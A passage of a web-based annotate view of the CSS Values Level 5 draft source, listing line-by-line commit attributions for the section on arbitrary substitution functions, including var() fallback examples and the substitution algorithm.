substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2856" id="l2856"> 2856</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2702" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2857" id="l2857"> 2857</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2703" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2858" id="l2858"> 2858</a> </td> <td class="source"> :root { --looks-valid: 20px; } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2704" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2859" id="l2859"> 2859</a> </td> <td class="source"> p { background-color: var(--looks-valid); } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2705" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2860" id="l2860"> 2860</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2706" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2861" id="l2861"> 2861</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2707" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2862" id="l2862"> 2862</a> </td> <td class="source"> Since ''20px'' is an invalid value for 'background-color', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2708" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2863" id="l2863"> 2863</a> </td> <td class="source"> the property becomes [=invalid at computed-value time=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2709" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2864" id="l2864"> 2864</a> </td> <td class="source"> and instead resolves to ''transparent'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2710" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2865" id="l2865"> 2865</a> </td> <td class="source"> (the [=initial value=] for 'background-color'). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2711" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2866" id="l2866"> 2866</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2712" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2867" id="l2867"> 2867</a> </td> <td class="source"> If the property was one that's inherited by default, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2713" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2868" id="l2868"> 2868</a> </td> <td class="source"> such as 'color!!property', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2714" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2869" id="l2869"> 2869</a> </td> <td class="source"> it would compute to the inherited value </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2715" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2870" id="l2870"> 2870</a> </td> <td class="source"> rather than the initial value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2716" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2871" id="l2871"> 2871</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2717" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2872" id="l2872"> 2872</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2718" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2873" id="l2873"> 2873</a> </td> <td class="source"> <div class='example'> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2719" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2874" id="l2874"> 2874</a> </td> <td class="source"> While a ''var()'' function can't get a [=CSS-wide keyword=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2720" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2875" id="l2875"> 2875</a> </td> <td class="source"> from the [=custom property=] itself-- </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2721" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2876" id="l2876"> 2876</a> </td> <td class="source"> if you tried to specify that, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2722" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2877" id="l2877"> 2877</a> </td> <td class="source"> like ''--foo: initial;'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2723" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2878" id="l2878"> 2878</a> </td> <td class="source"> it would just trigger [[css-cascade-4#defaulting-keywords|explicit defaulting]] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2724" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2879" id="l2879"> 2879</a> </td> <td class="source"> for the custom property-- </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2725" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2880" id="l2880"> 2880</a> </td> <td class="source"> it can have a [=CSS-wide keyword=] in its fallback: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2726" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2881" id="l2881"> 2881</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2727" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2882" id="l2882"> 2882</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2728" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2883" id="l2883"> 2883</a> </td> <td class="source"> p { color: var(--does-not-exist, initial); } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2729" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2884" id="l2884"> 2884</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2730" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2885" id="l2885"> 2885</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2731" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2886" id="l2886"> 2886</a> </td> <td class="source"> In the above code, if the ''--does-not-exist'' property didn't exist </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2732" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2887" id="l2887"> 2887</a> </td> <td class="source"> or is [=invalid at computed-value time=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2733" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2888" id="l2888"> 2888</a> </td> <td class="source"> the ''var()'' will instead substitute in the ''initial'' keyword, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2734" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2889" id="l2889"> 2889</a> </td> <td class="source"> making the property behave as if it was originally ''color: initial''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2735" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2890" id="l2890"> 2890</a> </td> <td class="source"> This will make it take on the document's initial 'color' value, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2736" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2891" id="l2891"> 2891</a> </td> <td class="source"> rather than defaulting to inheritance, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2737" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2892" id="l2892"> 2892</a> </td> <td class="source"> as it would if there were no fallback. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2738" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2893" id="l2893"> 2893</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d1bdb1a78d30/css-values-5/Overview.bs#l2739" title="d1bdb1a78d30: [css-values-5] Reorder text in arbitrary substitution section">fantasai@31732</a> </td> <td class="lineno"> <a href="#l2894" id="l2894"> 2894</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2669" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2895" id="l2895"> 2895</a> </td> <td class="source"> Each [=arbitrary substitution function=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2670" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2896" id="l2896"> 2896</a> </td> <td class="source"> must define how to <dfn export>resolve an arbitrary substitution function</dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2671" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2897" id="l2897"> 2897</a> </td> <td class="source"> for itself, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2672" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2898" id="l2898"> 2898</a> </td> <td class="source"> returning optional |result| and |fallback| values. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2673" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2899" id="l2899"> 2899</a> </td> <td class="source"> The |result| is used to replace the function </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2674" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2900" id="l2900"> 2900</a> </td> <td class="source"> as long as it does not contain the [=guaranteed-invalid value=]; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2675" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2901" id="l2901"> 2901</a> </td> <td class="source"> the |fallback| is used otherwise. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2676" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2902" id="l2902"> 2902</a> </td> <td class="source"> (The |fallback| does not need to be resolved in any way; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2677" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2903" id="l2903"> 2903</a> </td> <td class="source"> [=substitution=] will handle that if it's actually used.) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2678" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2904" id="l2904"> 2904</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2679" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2905" id="l2905"> 2905</a> </td> <td class="source"> Note: See, for example, [=resolve a var() function=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2680" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2906" id="l2906"> 2906</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2681" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2907" id="l2907"> 2907</a> </td> <td class="source"> <div algorithm> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/683356be8948/css-values-5/Overview.bs#l2753" title="683356be8948: [css-values-5] Drop var() vocabulary definition">fantasai@31733</a> </td> <td class="lineno"> <a href="#l2908" id="l2908"> 2908</a> </td> <td class="source"> To <dfn export local-lt="substitute|substitution" lt="substitute arbitrary substitution function|arbitrary substitution">substitute arbitrary substitution functions</dfn> in a |value|: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2683" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2909" id="l2909"> 2909</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2684" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2910" id="l2910"> 2910</a> </td> <td class="source"> 1. [=list/For each=] [=arbitrary substitution function=] |func| </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2685" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2911" id="l2911"> 2911</a> </td> <td class="source"> in |value|: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2686" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2912" id="l2912"> 2912</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2687" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2913" id="l2913"> 2913</a> </td> <td class="source"> 1. [=Resolve=] |func|. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2688" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2914" id="l2914"> 2914</a> </td> <td class="source"> Let |result| be the returned result, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2689" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2915" id="l2915"> 2915</a> </td> <td class="source"> and |fallback| be the returned fallback. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2690" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2916" id="l2916"> 2916</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2691" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2917" id="l2917"> 2917</a> </td> <td class="source"> If no |result| was returned, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2692" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2918" id="l2918"> 2918</a> </td> <td class="source"> set |result| to the [=guaranteed-invalid value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2693" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2919" id="l2919"> 2919</a> </td> <td class="source"> If no |fallback| was returned, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2694" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2920" id="l2920"> 2920</a> </td> <td class="source"> set |fallback| to the [=guaranteed-invalid value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2695" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2921" id="l2921"> 2921</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2696" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2922" id="l2922"> 2922</a> </td> <td class="source"> 2. <dl class=switch> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2697" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2923" id="l2923"> 2923</a> </td> <td class="source"> : If |result| does not contain the [=guaranteed-invalid value=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2698" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2924" id="l2924"> 2924</a> </td> <td class="source"> :: Replace |func| in |value| with |result|. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2699" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2925" id="l2925"> 2925</a> </td> <td class="source"> : Otherwise, if |fallback| does not contain the [=guaranteed-invalid value=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2700" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2926" id="l2926"> 2926</a> </td> <td class="source"> :: Replace |func| in |value| with |fallback|. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2701" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2927" id="l2927"> 2927</a> </td> <td class="source"> : Otherwise </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2702" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2928" id="l2928"> 2928</a> </td> <td class="source"> :: Replace all of |value| with the [=guaranteed-invalid value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2703" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2929" id="l2929"> 2929</a> </td> <td class="source"> Exit this algorithm. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2704" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2930" id="l2930"> 2930</a> </td> <td class="source"> </dl> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2705" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2931" id="l2931"> 2931</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2706" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2932" id="l2932"> 2932</a> </td> <td class="source"> 2. If there are still [=arbitrary substitution functions=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2707" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2933" id="l2933"> 2933</a> </td> <td class="source"> in |value| (due to substitution), </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2708" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2934" id="l2934"> 2934</a> </td> <td class="source"> repeat the previous step. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2709" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2935" id="l2935"> 2935</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2710" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2936" id="l2936"> 2936</a> </td> <td class="source"> 3. Grammar-check |value| according to its context as normal. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2711" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2937" id="l2937"> 2937</a> </td> <td class="source"> If it is not valid at this point, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2712" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2938" id="l2938"> 2938</a> </td> <td class="source"> replace |value| with the [=guaranteed-invalid value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2713" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2939" id="l2939"> 2939</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2714" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l2940" id="l2940"> 2940</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2715" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l2941" id="l2941"> 2941</a> </td> <td 